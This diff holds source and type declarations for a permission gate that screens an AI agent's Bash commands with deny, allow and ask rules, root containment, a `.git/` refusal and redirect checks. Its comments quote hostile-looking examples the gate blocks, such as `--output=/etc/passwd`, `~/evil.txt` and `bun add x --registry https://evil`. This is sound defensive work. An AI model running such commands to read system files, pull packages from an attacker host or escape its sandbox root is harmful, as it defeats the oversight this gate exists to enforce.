+ return { kind: "allow" };
210
+ }
@@ -0,0 +1,64 @@
1
+ /**
2
+ * Per-segment evaluation of a model-authored Bash command (spec §4 US-005).
3
+ *
4
+ * Precedence, fixed and order-independent within a stage (spec R6 + US-005.3):
5
+ * 1. the non-string / empty-command guards
6
+ * 2. ANY segment matches deny -> deny the whole call (breach false)
7
+ * 3. payload checks per segment -> DENIED_FLAGS, containment, redirects, cd (breach as today)
8
+ * 4. the lexer refused the command -> the escalatable lexical refusal
9
+ * 5. EVERY segment must match an allow rule, else the escalatable grant miss
10
+ * 6. ANY segment matches ask -> ask
11
+ * `escalatable: true` is produced at the two Category A sites above (4 and 5)
12
+ * plus the one payload refusal the gate also cannot adjudicate: an
13
+ * option-shaped `cd` (`cd -`, `cd -P dir`), whose target sits in a slot this
14
+ * reader does not parse (step 3 -- see `checkPayload`). Every OTHER payload
15
+ * denial is affirmatively out of bounds and non-escalatable, so an
16
+ * out-of-bounds command never reaches the human on a later grant miss or
17
+ * refusal. On a refused command the deny and payload checks run over the
18
+ * lexer's `prefix` -- the part before the unreadable construct -- because that
19
+ * is the part a deny rule or a containment breach can still name.
20
+ * Ask is evaluated LAST so it can never grant: an ungranted command that
21
+ * matches an ask rule is a plain denial, not an approval prompt (the same
22
+ * rule the path and argv branches follow in policy.ts).
23
+ *
24
+ * Containment is INJECTED (`resolvePath`), not imported: `policy.ts` imports
25
+ * this module, so importing `resolveWithin` back would be a cycle. The single
26
+ * owner of the root boundary and the `.git/` refusal therefore remains `policy.ts`.
27
+ */
28
+ import type { CompiledEntry } from "./policy-match.ts";
29
+ export type BashCheck = {
30
+ readonly kind: "allow";
31
+ } | {
32
+ readonly kind: "ask";
33
+ readonly rule: string;
34
+ } | {
35
+ readonly kind: "deny";
36
+ readonly reason: string;
37
+ readonly breach: boolean;
38
+ /**
39
+ * True when the gate could not ADJUDICATE the command — the lexer refused
40
+ * it, no allow rule covered a segment, or a `cd` target is option-shaped
41
+ * and sits in a slot this reader does not parse. False when the command
42
+ * is affirmatively out of bounds (root escape, `.git/`, a denied flag, an
43
+ * explicit deny rule, a `cd` target outside the root). Only the former
44
+ * may be escalated to the ask tier by `escalate` mode; escalating the
45
+ * latter would dissolve the `breach` signal into an approval prompt. See
46
+ * ADR-030.
47
+ */
48
+ readonly escalatable: boolean;
49
+ };
50
+ export interface BashCheckArgs {
51
+ readonly tool: string;
52
+ readonly command: unknown;
53
+ /** The stage's compiled ALLOW entry for this tool. */
54
+ readonly grant: CompiledEntry;
55
+ readonly denyEntry?: CompiledEntry;
56
+ readonly askEntry?: CompiledEntry;
57
+ /** Absolute resolved path, or null when the candidate escapes the root or
58
+ * enters `.git/`. Supplied by policy.ts (see the header). */
59
+ /** Resolves a candidate from an effective shell working directory. */
60
+ readonly resolvePath: (candidate: string, cwd: string) => string | null;
61
+ /** The shell's initial working directory. */
62
+ readonly initialPath: string;
63
+ }
64
+ export declare function checkBashCommand(args: BashCheckArgs): BashCheck;
@@ -0,0 +1,232 @@
1
+ /**
2
+ * Per-segment evaluation of a model-authored Bash command (spec §4 US-005).
3
+ *
4
+ * Precedence, fixed and order-independent within a stage (spec R6 + US-005.3):
5
+ * 1. the non-string / empty-command guards
6
+ * 2. ANY segment matches deny -> deny the whole call (breach false)
7
+ * 3. payload checks per segment -> DENIED_FLAGS, containment, redirects, cd (breach as today)
8
+ * 4. the lexer refused the command -> the escalatable lexical refusal
9
+ * 5. EVERY segment must match an allow rule, else the escalatable grant miss
10
+ * 6. ANY segment matches ask -> ask
11
+ * `escalatable: true` is produced at the two Category A sites above (4 and 5)
12
+ * plus the one payload refusal the gate also cannot adjudicate: an
13
+ * option-shaped `cd` (`cd -`, `cd -P dir`), whose target sits in a slot this
14
+ * reader does not parse (step 3 -- see `checkPayload`). Every OTHER payload
15
+ * denial is affirmatively out of bounds and non-escalatable, so an
16
+ * out-of-bounds command never reaches the human on a later grant miss or
17
+ * refusal. On a refused command the deny and payload checks run over the
18
+ * lexer's `prefix` -- the part before the unreadable construct -- because that
19
+ * is the part a deny rule or a containment breach can still name.
20
+ * Ask is evaluated LAST so it can never grant: an ungranted command that
21
+ * matches an ask rule is a plain denial, not an approval prompt (the same
22
+ * rule the path and argv branches follow in policy.ts).
23
+ *
24
+ * Containment is INJECTED (`resolvePath`), not imported: `policy.ts` imports
25
+ * this module, so importing `resolveWithin` back would be a cycle. The single
26
+ * owner of the root boundary and the `.git/` refusal therefore remains `policy.ts`.
27
+ */
28
+ import { lexBashCommand } from "#src/permissions/index";
29
+ import { cdTargetsFor, nextWorkingDirectories } from "./bash-cwd.js";
30
+ import { deniedFlag } from "./exec-guard.js";
31
+ function deny(reason, breach = false, escalatable = false) {
32
+ return { kind: "deny", reason, breach, escalatable };
33
+ }
34
+ /**
35
+ * Prefix match, token-wise, with the two rules Exec's `matchesArgvPattern`
36
+ * does not have:
37
+ *
38
+ * - a TRAILING `*` is OPTIONAL, because the spec requires `Bash(bun test *)`
39
+ * to admit bare `bun test` as well as `bun test src/x.test.ts`;
40
+ * - an OPAQUE token (one that contained `$`-expansion) can match only a bare
41
+ * `*` pattern token during grant evaluation. Payload validation then refuses
42
+ * it, because its runtime value cannot be contained safely.
43
+ */
44
+ function matchesTokens(patternTokens, tokens) {
45
+ const required = patternTokens.length > 0 && patternTokens[patternTokens.length - 1]?.source === "*"
46
+ ? patternTokens.slice(0, -1)
47
+ : patternTokens;
48
+ if (tokens.length < required.length)
49
+ return false;
50
+ return required.every((pattern, index) => {
51
+ const token = tokens[index];
52
+ if (token.opaque && pattern.source !== "*")
53
+ return false;
54
+ return pattern.re.test(token.text);
55
+ });
56
+ }
57
+ function matchesSegment(entry, segment) {
58
+ if (entry.unconditional)
59
+ return true;
60
+ return entry.argvPatterns.some((tokens) => matchesTokens(tokens, segment.tokens));
61
+ }
62
+ /** `Tool` for an unconditional entry, else `Tool(<the pattern that matched>)`. */
63
+ function ruleExpr(tool, entry, segment) {
64
+ if (entry.unconditional)
65
+ return tool;
66
+ const sources = entry.raw.filter((pattern) => pattern !== "*");
67
+ const index = segment === undefined ? -1 : entry.argvPatterns.findIndex((tokens) => matchesTokens(tokens, segment.tokens));
68
+ const matched = index === -1 ? undefined : sources[index];
69
+ return `${tool}(${matched ?? entry.raw.join(", ")})`;
70
+ }
71
+ function render(segment) {
72
+ return segment.tokens.map((token) => token.text).join(" ");
73
+ }
74
+ /**
75
+ * The filesystem path a word can actually address, once a prefix is stripped.
76
+ *
77
+ * A word carrying a separator is not necessarily the path: `--output=/etc/passwd`
78
+ * and `-o/etc/passwd` both hide one behind a flag, and `resolveWithin` reads the
79
+ * whole word as a RELATIVE path (`<root>/--output=/etc/passwd`), so the escape
80
+ * lives in the embedded value while the raw word looks contained. Extract it:
81
+ *
82
+ * --output=/etc/passwd -> /etc/passwd (value after an `=` that precedes a separator)
83
+ * -o/etc/passwd -> /etc/passwd (from the first separator on a `-`-led word)
84
+ * ../etc/passwd -> ../etc/passwd (no prefix: the word itself)
85
+ * link -> link (no prefix: a bare word can be a symlink out)
86
+ *
87
+ * The last line is why this runs on EVERY non-opaque word rather than only the
88
+ * separator-bearing ones: a bare `link` can be a symlink to a target outside the
89
+ * root, and a word that does not exist safely joins under the root because
90
+ * `realOrRaw` walks up to the nearest existing ancestor and never throws.
91
+ */
92
+ function containmentTarget(text) {
93
+ // The value after `=` is the target whether or not it contains a separator:
94
+ // `--output-dir=..` escapes just as `--output-dir=../x` does, and reading the
95
+ // whole word instead resolves `<root>/--output-dir=..` -- a literal segment
96
+ // that is trivially inside the root while the command receives `..`.
97
+ const equals = text.indexOf("=");
98
+ const slash = text.indexOf("/");
99
+ if (equals !== -1 && (slash === -1 || equals < slash))
100
+ return text.slice(equals + 1);
101
+ if (slash === -1)
102
+ return text;
103
+ if (text.startsWith("-"))
104
+ return text.slice(slash);
105
+ return text;
106
+ }
107
+ function hasUnmodelledExpansion(text) {
108
+ return ["*", "?", "[", "]", "{", "}"].some((character) => text.includes(character));
109
+ }
110
+ function resolveAll(args, candidate, cwd) {
111
+ const resolved = cwd.map((directory) => args.resolvePath(candidate, directory));
112
+ return resolved.every((path) => path !== null) ? resolved : undefined;
113
+ }
114
+ function checkPayload(args, segment, cwd) {
115
+ const words = segment.tokens.map((token) => token.text);
116
+ // Same list and normalizer as Exec: a prefix grant gates the verb, never the
117
+ // payload, so `bun add x --registry https://evil` satisfies `bun add *`.
118
+ const flag = deniedFlag(words);
119
+ if (flag !== undefined)
120
+ return { refusal: deny(`flag ${flag} is not permitted in a Bash command`) };
121
+ for (const token of segment.tokens) {
122
+ if (token.opaque || hasUnmodelledExpansion(token.text)) {
123
+ return { refusal: deny(`token "${token.text}" depends on shell expansion this gate cannot resolve`) };
124
+ }
125
+ const target = containmentTarget(token.text);
126
+ if (target.startsWith("~")) {
127
+ return {
128
+ refusal: deny(`token "${token.text}" addresses "${target}", which starts with "~" and depends on expansion this gate cannot resolve`),
129
+ };
130
+ }
131
+ if (resolveAll(args, target, cwd) === undefined) {
132
+ return {
133
+ refusal: deny(`token "${token.text}" addresses "${target}", which resolves outside the permitted root, or into .git/`, true),
134
+ };
135
+ }
136
+ }
137
+ let cdTargets;
138
+ // `cd` moves every LATER segment's frame of reference, so its target is
139
+ // containment-checked even when it carries no separator (`cd ..`). The
140
+ // resolution and the WHY-unmodellable reasoning are shared with the raw
141
+ // screen via `cdTargetsFor` (bash-cwd.ts). Gated denies every unmodelled
142
+ // case, because containment is the whole point of this mode.
143
+ const cdResult = cdTargetsFor(segment, cwd, args.resolvePath);
144
+ switch (cdResult.kind) {
145
+ case "no-target":
146
+ return { refusal: deny("`cd` with no target is refused") };
147
+ case "option-shaped":
148
+ // `cd -`, `cd -P dir`: the path sits in a slot this reader does not
149
+ // parse, so the gate CANNOT ADJUDICATE where the shell lands. That is
150
+ // Category A, like the lexer's own refusal -- not the affirmative
151
+ // out-of-bounds of a `cd` target that resolves outside the root, which
152
+ // stays a non-escalatable breach below. Marking it escalatable keeps a
153
+ // refusal the gate cannot model from preempting the (equally
154
+ // unadjudicable) grant miss when the reorder runs payload checks first.
155
+ return {
156
+ refusal: deny(`cd target "${cdResult.text}" is option-shaped, and this gate does not model it`, false, true),
157
+ };
158
+ case "opaque":
159
+ case "unresolved":
160
+ return { refusal: deny(`cd target "${cdResult.text}" is not inside the permitted root`, true) };
161
+ case "resolved":
162
+ cdTargets = cdResult.targets;
163
+ break;
164
+ case "not-cd":
165
+ break;
166
+ }
167
+ for (const redirect of segment.redirects) {
168
+ if (redirect.opaque) {
169
+ return { refusal: deny(`redirect target "${redirect.target}" depends on expansion this gate cannot resolve`) };
170
+ }
171
+ // Redirect targets are NOT in `segment.tokens`, and `resolveWithin` does not
172
+ // expand `~`: it would read `~/evil.txt` as the literal `<root>/~/evil.txt`
173
+ // and wave it through, while `/bin/sh` writes to `$HOME/evil.txt`. Mirrors
174
+ // the `~` guard on the token loop above.
175
+ if (redirect.target.startsWith("~")) {
176
+ return {
177
+ refusal: deny(`redirect target "${redirect.target}" starts with "~", which depends on expansion this gate cannot resolve`),
178
+ };
179
+ }
180
+ if (hasUnmodelledExpansion(redirect.target)) {
181
+ return {
182
+ refusal: deny(`redirect target "${redirect.target}" depends on shell expansion this gate cannot resolve`),
183
+ };
184
+ }
185
+ if (resolveAll(args, redirect.target, cwd) === undefined) {
186
+ return { refusal: deny(`redirect target "${redirect.target}" resolves outside the permitted root`, true) };
187
+ }
188
+ }
189
+ return { cdTargets };
190
+ }
191
+ export function checkBashCommand(args) {
192
+ const { command, tool } = args;
193
+ if (typeof command !== "string")
194
+ return deny(`"command" must be a string`);
195
+ if (command.trim() === "")
196
+ return deny(`"command" must not be empty`);
197
+ const lexed = lexBashCommand(command);
198
+ // On a refusal the gate still runs its deny and payload checks -- over the
199
+ // lexable prefix, the part before the unreadable construct. The prefix is
200
+ // empty when the refusal preceded any completed word, leaving the checks a
201
+ // no-op and the escalatable lexical refusal intact (Category A).
202
+ const segments = lexed.kind === "ok" ? lexed.segments : lexed.prefix;
203
+ for (const segment of segments) {
204
+ if (args.denyEntry !== undefined && matchesSegment(args.denyEntry, segment)) {
205
+ return deny(`${tool} segment "${render(segment)}" is denied for this stage by rule ${ruleExpr(tool, args.denyEntry, segment)}`);
206
+ }
207
+ }
208
+ let cwd = [args.initialPath];
209
+ for (const segment of segments) {
210
+ const result = checkPayload(args, segment, cwd);
211
+ if (result.refusal !== undefined)
212
+ return result.refusal;
213
+ cwd = nextWorkingDirectories(segment, cwd, result.cdTargets);
214
+ }
215
+ if (lexed.kind === "refused") {
216
+ return deny(`command contains ${lexed.construct}, which cannot be analysed and is therefore refused -- ` +
217
+ "rewrite it without that construct, or use a structured tool", false, true);
218
+ }
219
+ for (const segment of segments) {
220
+ if (args.grant.unconditional || matchesSegment(args.grant, segment))
221
+ continue;
222
+ const granted = args.grant.raw.filter((pattern) => pattern !== "*").join(", ");
223
+ const alternatives = granted === "" ? "no command forms are granted for this stage" : `granted forms: ${granted}`;
224
+ return deny(`${tool} is not granted "${render(segment)}" -- ${alternatives}`, false, true);
225
+ }
226
+ for (const segment of segments) {
227
+ if (args.askEntry !== undefined && matchesSegment(args.askEntry, segment)) {
228
+ return { kind: "ask", rule: ruleExpr(tool, args.askEntry, segment) };
229
+ }
230
+ }
231
+ return { kind: "allow" };
232
+ }
@@ -0,0 +1,32 @@
1
+ /**
2
+ * The Bash branch of the tool policy, extracted from `policy.ts` to keep that
3
+ * file under its 600-line source limit. `src/` reaches this module only
4
+ * through `policy.ts`, so the barrel surface is unchanged.
5
+ *
6
+ * The Bash branch. Checked in policy-bash.ts, or policy-bash-raw.ts under the
7
+ * `raw` mode, and never falling through: a command string is not a verb and
8
+ * not a path, so neither of the other branches can judge it. Containment is
9
+ * handed over as a callback because policy.ts imports this module, so
10
+ * reaching `resolveWithin` back would close a cycle.
11
+ */
12
+ import type { BashApprovalMode } from "#src/config/bash-approval";
13
+ import type { CompiledEntry } from "./policy-match.ts";
14
+ import type { PolicyVerdict, ToolScope } from "./types.ts";
15
+ export interface BashCommandBranchArgs {
16
+ readonly tool: string;
17
+ readonly scope: ToolScope;
18
+ readonly input: Record<string, unknown>;
19
+ readonly grant: CompiledEntry;
20
+ readonly bashApproval: BashApprovalMode;
21
+ /** P4: when set, the enabled sandbox is unavailable and `raw` denies every call (spec S5). */
22
+ readonly rawBashRefusal?: string;
23
+ /** US-002: true when the sandbox wraps the command, so `raw` no longer refuses a PRD it only reads. */
24
+ readonly sandboxWrapped?: boolean;
25
+ readonly resolvedRoot: string;
26
+ readonly denyBy: ReadonlyMap<string, CompiledEntry>;
27
+ readonly askBy: ReadonlyMap<string, CompiledEntry>;
28
+ readonly resolvePath: (candidate: string, cwd: string) => string | null;
29
+ readonly deny: (reason: string, breach?: boolean, escalatable?: boolean) => PolicyVerdict;
30
+ readonly askVerdict: (resolvedPaths: readonly string[], rule: string) => PolicyVerdict;
31
+ }
32
+ export declare function commandBranch(args: BashCommandBranchArgs): PolicyVerdict | undefined;
@@ -0,0 +1,63 @@
1
+ /**
2
+ * The Bash branch of the tool policy, extracted from `policy.ts` to keep that
3
+ * file under its 600-line source limit. `src/` reaches this module only
4
+ * through `policy.ts`, so the barrel surface is unchanged.
5
+ *
6
+ * The Bash branch. Checked in policy-bash.ts, or policy-bash-raw.ts under the
7
+ * `raw` mode, and never falling through: a command string is not a verb and
8
+ * not a path, so neither of the other branches can judge it. Containment is
9
+ * handed over as a callback because policy.ts imports this module, so
10
+ * reaching `resolveWithin` back would close a cycle.
11
+ */
12
+ import { checkBashCommand } from "./policy-bash.js";
13
+ import { screenRawBashCommand } from "./policy-bash-raw.js";
14
+ export function commandBranch(args) {
15
+ const { tool, scope, input, grant, bashApproval, rawBashRefusal, sandboxWrapped, resolvedRoot, denyBy, askBy, resolvePath, deny, askVerdict, } = args;
16
+ if (scope.commandField === undefined)
17
+ return undefined;
18
+ if (bashApproval === "raw") {
19
+ if (rawBashRefusal !== undefined)
20
+ return deny(rawBashRefusal, false, false);
21
+ const screened = screenRawBashCommand({
22
+ tool,
23
+ command: input[scope.commandField],
24
+ initialPath: resolvedRoot,
25
+ root: resolvedRoot,
26
+ sandboxWrapped: sandboxWrapped === true,
27
+ resolvePath,
28
+ });
29
+ if (screened.kind === "deny")
30
+ return deny(screened.reason, screened.breach, screened.escalatable);
31
+ return { allowed: true, resolvedPaths: [] };
32
+ }
33
+ const denyEntry = denyBy.get(tool);
34
+ const askEntry = askBy.get(tool);
35
+ const result = checkBashCommand({
36
+ tool,
37
+ command: input[scope.commandField],
38
+ grant,
39
+ ...(denyEntry !== undefined ? { denyEntry } : {}),
40
+ ...(askEntry !== undefined ? { askEntry } : {}),
41
+ initialPath: resolvedRoot,
42
+ resolvePath,
43
+ });
44
+ if (result.kind === "deny") {
45
+ // `escalate` converts only a denial the gate could not ADJUDICATE. A
46
+ // breach, a denied flag or an explicit deny rule stays a hard refusal:
47
+ // escalating those would dissolve the `breach` signal into an approval
48
+ // prompt. See ADR-030 and `BashCheck.escalatable` in policy-bash.ts for
49
+ // the sites that set it.
50
+ if (bashApproval === "escalate" && result.escalatable) {
51
+ // NOT `askVerdict(...)`: that helper REWRITES reason as
52
+ // `matched ask rule "<rule>"`, which is false here — no ask rule
53
+ // matched. Build the verdict directly so the original denial reason
54
+ // survives into the ledger and into the human prompt. `rule` is
55
+ // omitted; `runtime.ts` falls back to `verdict.reason`.
56
+ return { allowed: false, reason: result.reason, breach: false, outcome: "ask", resolvedPaths: [] };
57
+ }
58
+ return deny(result.reason, result.breach, result.escalatable);
59
+ }
60
+ if (result.kind === "ask")
61
+ return askVerdict([], result.rule);
62
+ return { allowed: true, resolvedPaths: [] };
63
+ }
@@ -0,0 +1,2 @@
1
+ /** Read a top-level or dot-addressed path-bearing input field. */
2
+ export declare function pathFieldValue(input: Record<string, unknown>, field: string): unknown;
@@ -0,0 +1,10 @@
1
+ /** Read a top-level or dot-addressed path-bearing input field. */
2
+ export function pathFieldValue(input, field) {
3
+ let value = input;
4
+ for (const part of field.split(".")) {
5
+ if (typeof value !== "object" || value === null || Array.isArray(value))
6
+ return undefined;
7
+ value = value[part];
8
+ }
9
+ return value;
10
+ }